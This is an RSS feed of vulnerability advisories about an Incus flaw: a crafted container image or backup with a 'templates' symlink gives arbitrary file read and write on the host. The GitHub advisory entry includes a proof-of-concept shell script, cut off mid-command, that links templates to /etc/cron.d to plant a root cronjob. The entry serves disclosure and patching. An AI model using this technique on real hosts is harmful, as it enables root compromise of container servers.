<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 02:38:23 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-48752 — Incus has arbitrary file read+write on host via templates/ symlink in malicious image</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-48752</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; lxc incus&lt;/p&gt;
&lt;p&gt;Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; lxc incus&lt;/p&gt;
&lt;p&gt;Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-48752</guid>
    </item>
    <item>
      <title>GHSA-vxp5-584q-c479 — Incus has arbitrary file read+write on host via templates/ symlink in malicious image</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-vxp5-584q-c479</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lxc/incus/v7/cmd/incusd&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.&lt;/p&gt;
&lt;p&gt;For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.&lt;/p&gt;
&lt;p&gt;In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;#### Malicious container image&lt;/p&gt;
&lt;p&gt;Below, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.&lt;/p&gt;
&lt;p&gt;```
#!/bin/sh
set -eu&lt;/p&gt;
&lt;p&gt;tmpdir=$(mktemp -d)
cleanup() {
    rm -rf &amp;#34;${tmpdir}&amp;#34;
}
trap cleanup EXIT INT QUIT TERM HUP&lt;/p&gt;
&lt;p&gt;mkdir -p &amp;#34;${tmpdir}/img/rootfs&amp;#34;
ln -s /etc/cron.d &amp;#34;${tmpdir}/img/templates&amp;#34;
cat&amp;lt;&amp;lt;__EOF__&amp;gt;&amp;#34;${tmpdir}/img/metadata.yaml&amp;#34;
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__&lt;/p&gt;
&lt;p&gt;cd &amp;#34;${tmpdir}/img&amp;#34;
tar --owner=0 --group=0 -f- -c * &amp;gt;../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-sy…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lxc/incus/v7/cmd/incusd&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.&lt;/p&gt;
&lt;p&gt;For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.&lt;/p&gt;
&lt;p&gt;In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;#### Malicious container image&lt;/p&gt;
&lt;p&gt;Below, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.&lt;/p&gt;
&lt;p&gt;```
#!/bin/sh
set -eu&lt;/p&gt;
&lt;p&gt;tmpdir=$(mktemp -d)
cleanup() {
    rm -rf &amp;#34;${tmpdir}&amp;#34;
}
trap cleanup EXIT INT QUIT TERM HUP&lt;/p&gt;
&lt;p&gt;mkdir -p &amp;#34;${tmpdir}/img/rootfs&amp;#34;
ln -s /etc/cron.d &amp;#34;${tmpdir}/img/templates&amp;#34;
cat&amp;lt;&amp;lt;__EOF__&amp;gt;&amp;#34;${tmpdir}/img/metadata.yaml&amp;#34;
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__&lt;/p&gt;
&lt;p&gt;cd &amp;#34;${tmpdir}/img&amp;#34;
tar --owner=0 --group=0 -f- -c * &amp;gt;../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-sy…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-vxp5-584q-c479</guid>
    </item>
  </channel>
</rss>
